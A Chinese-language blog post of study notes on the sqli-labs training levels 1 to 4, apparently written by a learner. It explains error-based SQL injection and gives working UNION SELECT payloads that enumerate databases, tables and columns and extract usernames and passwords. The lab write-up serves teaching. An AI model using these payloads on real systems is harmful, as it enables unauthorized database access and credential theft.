Sqli-labs学习笔记(Part2)

Less1-Error Based-Single quotes - Strings

第一关是基于字符串单引号的注入,有错误回显.
正常的参数是id=1,这时我们就能看到正确的结果返回


正常的页面显示

而当我们输入的是 id=1' 时,数据库就会报错,提示我们有错误,这时我们就知道id这个参数存在sql注入漏洞


id=1'时的页面显示

在箭头所指的地方可以看到出错的位置提示是
'' (1')' LIMIT 0,1 '   // 其中最前面和最后面的两个单引号是显示时添加的,并不在查询语句中

其中括号括起来的是我们输入的参数,当我们数单引号的个数时可以发现是奇数个,说明有一个单引号没有被闭合掉,因此数据库报错,也把错误回显给我们.
因此我们可以猜测这里的sql查询语句应该是

select * from table_name where id= ' x ' LIMIT 0,1

其中table_name是数据库的名字,x是我们输入的参数,因此当我们输入 id=1' 时,mysql就会报错
这时如果我们输入的是 id=1'' (后面是两个单引号)时,返回的结果变回了正常的页面


id=1''时的页面显示

其中 %27 是单引号的URL编码,同样地这时如果也有显示信息,将会是

'' 1'' ' LIMIT 0,1'

这时去数单引号的个数,是偶数个则所有单引号都闭合了,因此不会报错,页面返回正常.
另外,如果我们想要去掉多余的单引号 ' ,我们可以进行如下操作


id=1' or 1=1 --+

后面的 ' --+ ' 作用是注释后面的语句(其实在Mysql中注释用的是'-- ',最后面有一个空格),这时整条查询语句就是

select * from table_name where id = '1' or 1=1 --+ LIMIT 0,1

其中 ' or 1=1'这条语句是永真语句,那么整条语句的查询结果是查询id=1的数据,并且因为注释掉了后面的 'LIMIT 0,1',返回的不只是一条结果,但是网页中只显示一条,所以我们只能看到一条结果。(这句话的意思是,数据库返回了多条结果给服务器,但是服务器只从中选择了一条结果显示给用户)
所以这时,我们就想查看多条结果,那么怎么办呢?
首先,我们使用order by n来获取查询语句中一共查询了多少列,就是 select 中的是多少列
从n=1,2,3...一直尝试到页面出现报错提示

n=3时,页面正常

n=4时,页面报错

对比上下两张图,可以说明一共有3列数据,则完善查询语句有

select 1, 2, 3 from table_name where id = 'x'

接下来我们想知道哪一列数据显示在网页的哪一个位置,我们可以通过union查询来构造语句

1'and 1=2 union select 1,2,3 --+ 
1' and 1=2 union select 1,2,3 --+ 时的页面显示

解释一下为什么要这样构造语句,首先,我们把输入的拼接到整个查询语句中

select 1,2,3 from table_name where id = '1' and 1=2 union select 1,2,3 --+ LIMIT 0,1

其中union select 是把前后两个select 语句查询的结构拼接在一起,从前面的order by 查询结果可以知道一共查询了3列数据,因此后面的union select 也要查询3列数据,不然数据库会报错.
接着我们看前面的 id='1' and 1=2,因为and需要前后都是真的时候才能返回结果,否则返回的是空结果,而 1=2永远都是假,所以前面的select查询是没有结果的,而后面的union select查询的结果是显示 1,2,3.因此在页面上我们可以看到2和3显示出来,而不是之前id=1时用户的名字和密码。
为什么要让前面的查询结果是空呢?因为我们前面有提到过,服务器返回给我们用户的只有一条结果,而为了让这条结果使我们预期的结果,也就是1,2,3. 那么我们让前面查询结果为空时,返回我们想要的结果,这时我们就能判断查询的结果分别显示在什么位置。当然我们也可以用 id=-1来使得前面的查询结果为空.

接下来,我们就可以根据上一篇文章总结的流程:数据库-数据表-列-数据 一层一层进行注入获取到我们想要的数据
1. 获取数据库,构造语句

-1'  union select 1, group_concat(schema_name),3 from information_schema.schemata --+
获取数据库

可以看到这时,我们把服务器上所有的数据库名都列出来了。方法就是查询information_schema这个数据库的schemata表中的schema_name这个字段的数据

2. 获取数据表,构造语句

-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取'security'库的所有数据表

这条语句是查询'security'这个数据库的所有数据表,同样是通过information_shcema这个数据库,不同的是通过tables这个表
3. 获取数据列,构造语句

-1' union select 1,group(column_name),3 from information_schema.columns where table_name='users' --+
获取'users'表中的列名

4. 获取数据

-1' union select 1,username,password from security.users where id=1 --+
获取'users'表中id=1的用户名字和密码

通过这条语句的查询结果,我们可以猜测到原始的查询语句应该是

select username, password from users where id='x'

其中x是我们输入的参数
这时我们去翻看网页的源码可以看到和我们猜测的一样。


Less1的源码

Less2 - Error Based - Intiger based

第二关是关于整数型数据的注入,和第一关类似,但是有一点小区别


id=1'时异常页面

可以看到区别在于对参数的使用上少了两个单引号 ' ',也就是查询的语句变成了

select * from table_name where id = x LIMIT 0,1

可以看到在后面输入的参数x处没有单引号包围着,所以此时我们也就不需要破坏原来的单引号,可以直接用union select。
翻看网页的源码检查一下


Less2的源码

其他的和第一关都是一样的,我们可以利用第一关的方法和流程,同样对这关进行Sql注入的练习

Less3 - Error Based - Single quotes with twist - string

这一关和第一关一样含有单引号,另外还用了括号把参数包围了起来
当我们输入 id=1'时可以看到异常页面

id=1'时的异常页面

可以看到报错显示了 '1'') LIMIT 0,1结合我们前面第一关的报错,我们可以猜测到这里用到查询语句是

select * from table_name where id = (' x ') LIMIIT 0,1

这时我们要想像第一关用union select注入前,我们必须自己闭合掉左括号,然后注释右括号,也就是使用
1' ) union select 1,2,3--+这样的语句,当我们带回到原来的语句可以看到查询语句被我们修改成

select * from table_name where id=(' 1') union select 1,2,3 --+ ') LIMIT 0,1

在 '--+'后面的语句都被注释,这样我们就能成功注入到数据库中,否则如果我们还是用第一关的
方法
' 1' union select 1,2,3 --+ '时,查询语句就会变成

select * from table_name where id = (' 1' union select 1,2,3 --+ ') LIMIT 0,1

这时因为' --+ '注释了后面的括号,所以数据库就会报错

id=1' union select 1,2,3 --+ 时异常页面

当然闭合这里括号不只是这一种,还有很多其他的方法,例如') or '1'=('1',接下来就和第一关的类似了

Less4 - Error Based - double quotes - string

这一关是关于双引号的,而双引号和单引号是类似的,我们只需把第一关的单引号都换成双引号就可以了
当我们输入id=1"时

id=1"时的异常页面

可以看到报错显示了 " 1 " ") LIMIT 0,1,这意味着代码当中对id参数进行了 " "和( )的包装,翻看源码可以看到
Less4的源码

那么我们就可以输入id=1") union select 1,2,3 --+ 进行和第一关一样的注入

总结

到目前为止,对Less1-Less4的注入学习的差不多了,基本的注入流程我们也过了一遍,按照数据库->数据表->数据列->数据的顺序一层层获取我们想要的数据。Less1到Less4是最简单的注入了,没有对用户输入的参数进行任何过滤,直接拼接到查询语句中,这使得我们能很轻松的利用sql注入进入到数据库获取到我们想要的数据.

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,122评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,070评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,491评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,636评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,676评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,541评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,292评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,211评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,655评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,846评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,965评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,684评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,295评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,894评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,012评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,126评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,914评论 2 355

推荐阅读更多精彩内容